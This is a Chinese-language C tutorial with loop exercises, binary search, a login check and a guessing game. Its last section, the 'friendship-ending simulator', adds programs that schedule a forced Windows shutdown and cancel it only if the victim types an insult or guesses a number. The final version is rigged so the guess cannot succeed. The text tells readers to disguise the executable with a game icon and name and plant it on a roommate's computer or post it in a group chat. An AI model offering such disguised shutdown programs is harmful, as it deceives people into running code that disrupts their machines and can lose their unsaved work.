目录
一、循环语句练习
1.计算 n的阶乘
#include<stdio.h>
int main()
{
int n = 0;
scanf("%d", &n);
int ret = 1;
int i = 1;
for (i= 1; i<=n; i++)
{
ret *= i;//从1乘到n
}
printf("%d\n", ret);
return 0;
}
2. 计算 1!+ 2!+ 3!+ …… + 10!
#include<stdio.h>
int main()
{
int n = 0;
int i = 0;
int j = 0;
int sum = 0;
scanf("%d", &n);
for (i = 1; i <= n; i++)
{
//将计算n!的程序复制过来
int ret = 1;
//ret每次都要重新定义为1,不然会在原基础上进行相乘
for (j = 1;j <= i;j++)
{
ret = ret * j;
}
sum = sum + ret;
}
printf("%d\n", sum);
return 0;
}
二、分支循环综合练习
3. 在一个有序数组中查找具体的某个数字n。
我们在一个有序数组中需要找到一个数值时,可以使用这种二分查找的方法
比如说,1 2 3 4 5 6 7 8 9 10 中我们需要找到一个数字
我定义一个左角标为0,定义一个右角表为9,分别对应1和10
然后定义一个中间角标为左右角标的平均值,看这个平均值角标对应的数字是比你要找的数字大还是小
大的话就右角标向左移动到中间角标的前一个,小的话就左角标向右移动到中间角标的后一个,一遍一遍地重复减小范围,最终找到数字
#include<stdio.h>
int main()
{
int arr[100] = { 0 };
int i = 0;
for (i=0; i<100; i++)//初始化一个1-100的数组
{
arr[i] = i+1;
}
int n = 0;
while ((scanf("%d", &n)) != EOF)//循环输入,单次输入可以去掉循环
{
int left = 0;//左角标
int right = sizeof(arr) / sizeof(arr[0]) - 1;//右角标
int num = 0;//查找次数
int mid = 0;//中间角标
while (left <= right)
{
mid = (right - left) / 2 + left;//当这个数组很大时,这样写可以检索更大的范围
if (arr[mid] > n)
{
right = --mid;
num++;
}
else if (arr[mid] < n)
{
left = ++mid;
num++;
}
else//相等时
{
printf("找到了下标为:");
printf("%d\n", mid);
printf("查找了%d次\n",num);
break;
}
}
if (left > right)//这种情况在正常情况下不会发生
{
printf("找不到\n");
}
}
return 0;
}
4. 编写代码,演示多个字符从两端移动,向中间汇聚。
#include<stdio.h>
#include<stdlib.h>
#include<windows.h>
int main()
{
char arr1[20] = "bonjour,monsieur!";
char arr2[20] = "#################";
int left = 0;
int right = strlen(arr2) - 1;
while (left<=right)
{
arr2[left] = arr1[left];
arr2[right] = arr1[right];//把arr1的内容替换到arr2中
printf("%s", arr2);
Sleep(1000);//睡眠1000毫秒
system("cls");//一个cmd指令,清空屏幕
left++;
right--;//向中间移动
}
return 0;
}
我们可以看到屏幕上会先输出#################,后清空屏幕输出b###############!,然后再次清空输出bo#############r!......最后所有的字符替换完成,输出bonjour,monsieur!,看起来就好像在向中间汇聚。
5. 编写代码实现,模拟用户登录情景,并且只能登录三次。
(只允许输入三次密码,如果密码正确则提示登录成功,如果三次均输入错误,则退出程序。)
#include<stdio.h>
#include<string.h>
int main()
{
char arr1[20] = { 0 };
//设置密码为abcdef
char arr2[20] = "abcdef";
int i = 0;
for (i = 0; i < 3;i++)
{
printf("请输入密码:");
scanf("%s", arr1);
if (strcmp(arr1, arr2) == 0)//比较两个字符串,完全相同时返回0
{
break;
}
if (i<2)
{
printf("请重新输入\n");
}
}
if (i == 3)
{
printf("三次密码输入错误,自动退出程序\n");
}
else
{
printf("登陆成功\n");
}
return 0;
}
6.猜数字游戏
#include<stdio.h>
#include<time.h>
#include<stdlib.h>
void menu()//打印起始页面的函数
{
printf("****************\n");
printf("*****1.play*****\n");
printf("*****0.exit*****\n");
printf("****************\n");
printf("请输入1或0:\n");
}
int getnum()//生成随机数的函数
{
int ret = 0;
ret = rand()%100+1;
//rand函数可以生成一个随机数,这个数字的范围是0-32767,但想调用rand需要先调用srand函数
//让我们去看下面的srand函数,在main函数下面
//看完srand函数后,此时rand函数可以正常生成一个随机值了
//srand只需要确定一次起始位置即可,所以没有把它放在生成熟知的函数里
return ret;
}
void game()//玩游戏的函数
{
int b = getnum();//生成随机数
int x = 0;
while (1)//死循环直到猜中跳出
{
printf("请输入数字:");
scanf("%d", &x);
if (x>b)
{
printf("猜大了\n");
}
else if(x<b)
{
printf("猜小了\n");
}
else
{
printf("正确,这个数字为%d\n", b);
break;
}
}
}
int main()
{
srand((unsigned int)time(NULL));
//调用srand函数确定一个生成随机数的起始位置
//然而正确使用这个函数需要向内部传进一个类型为unsigned int的变动的值。
//我们要产生一个随机值,而这个随机值的生成需要一个随机值
//我们似乎进入了一个先有鸡先有蛋的问题,这时就需要引入一个概念叫做时间戳
//时间戳表示一个时间,这个时间就是相对于1970年1月1日到现在的时刻我们经过了多少秒,然后将它转化为一个数字
//由于时间是不断变动的,它就可以满足我们的要求,time函数可以返回这个数字。
//time函数需要一个指针类型的参数,我们就给它一个空指针。它的返回类型是time_t,需要强制类型转换为unsigned int
//让我们回到rand函数那里
int a = 0;
do {
menu();
scanf("%d", &a);
switch (a)
{
case 1:
{
game();
break;
}
case 0:
{
return 0;
}
default:
{
printf("请重新输入\n");
break;
}
}
} while (1);
return 0;
}
三、友尽模拟器及其综合应用
你有没有这样的舍友,大白天累了就睡觉,半夜他不困了就开始开着麦打游戏,床上留着孤零零的你躺着睡不着觉。他的怒吼声和噼噼啪啪的键盘声让你不禁怀疑人生。
好吧,代入感很强,已经开始生气了。
虽然,对于舍友关系还是应该以和为贵。
什么?他不听!
拿下面这个程序干他!!!
1.友尽模拟器初阶
#include<stdio.h>
#include<windows.h>
#include<string.h>
int main()
{
char arr[20] = { 0 };
system("shutdown -s -t 60");//cmd指令,表示60s后自动关机
printf("注意,你的电脑将在一分钟内关机\n");
printf("如果输入我是猪就可以取消\n");
while (1)
{
scanf("%s", arr);
if (strcmp(arr, "我是猪") == 0)
{
system("shutdown -a");
break;
}
else
{
printf("重新输入,输不对就关你电脑\n");
}
}
return 0;
}
你可以把这个代码写到VS上,把VS上面的Debug模式改为Release,会得到一个exe程序,把它改成游戏图标,改个名称往那儿一放就等他来了。虽然可能不能完全阻止他,但至少可以整整他。
这个程序他即使关掉也没有用,程序已经设定好了,他不输电脑就必定关机。
2.友尽模拟器进阶
(1)就像前面只允许输入三次密码,你也可以让他只能输入三次,不输就关
#include<stdio.h>
#include<windows.h>
#include<string.h>
int main()
{
char arr[20] = { 0 };
system("shutdown -s -t 60");
printf("注意,你的电脑将在一分钟内关机\n");
printf("如果输入我是猪就可以取消\n");
int n = 0;
while (1)
{
scanf("%s", arr);
if (strcmp(arr, "我是猪") == 0)
{
system("shutdown -a");
break;
}
else
{
if (n < 2)
{
printf("重新输入,输不对就关你电脑\n");
}
n++;
}
if (n == 3)
{
printf("你没机会了\n");
break;
}
}
return 0;
}
此时可能会有以下画面:
注意,你的电脑将在一分钟内关机
如果输入我是猪就可以取消
你是猪
重新输入,输不对就关你电脑
你才是猪
重新输入,输不对就关你电脑
你这个家伙
你没机会了
(2)结合我们之前的猜数字游戏,我们可以更损
让他猜数字,三次猜不中就不能取消关电脑,这个程序有个好处。只要他点了,同时不知道这个cmd指令,他就不能取消关机。
#include<stdio.h>
#include<time.h>
#include<stdlib.h>
#include<windows.h>
int getnum()
{
int ret = 0;
ret = rand()%100+1;
return ret;
}
void game()
{
int n = 0;
int x = 0;
while (1)
{
int b = getnum();
printf("输入我正在想的数字:");
scanf("%d", &x);
if (x>b)
{
printf("猜大了\n");
n++;
}
else if(x<b)
{
printf("猜小了\n");
n++;
}
else
{
printf("输对了你也打不开游戏\n", b);
system("shutdown -a");
break;
}
if (n==3)
{
printf("你没机会了\n");
break;
}
}
}
int main()
{
srand((unsigned int)time(NULL));
system("shutdown -s -t 60");
printf("注意,你的电脑将在一分钟内关机\n");
printf("如果输入我心里想的那个数就可以取消\n");
game();
return 0;
}
有没有发现那个生成随机数的函数被放到了循环内部,也就是说在这样的条件下,每循环一次这个随机数都会被更换,还有猜大,猜小这样的误导项更猜不对。
可以先拿自己电脑试一下,注意别把自己电脑关了。说实在的,改个名往群里一发也确实够损,这种程序还是自己玩比较好。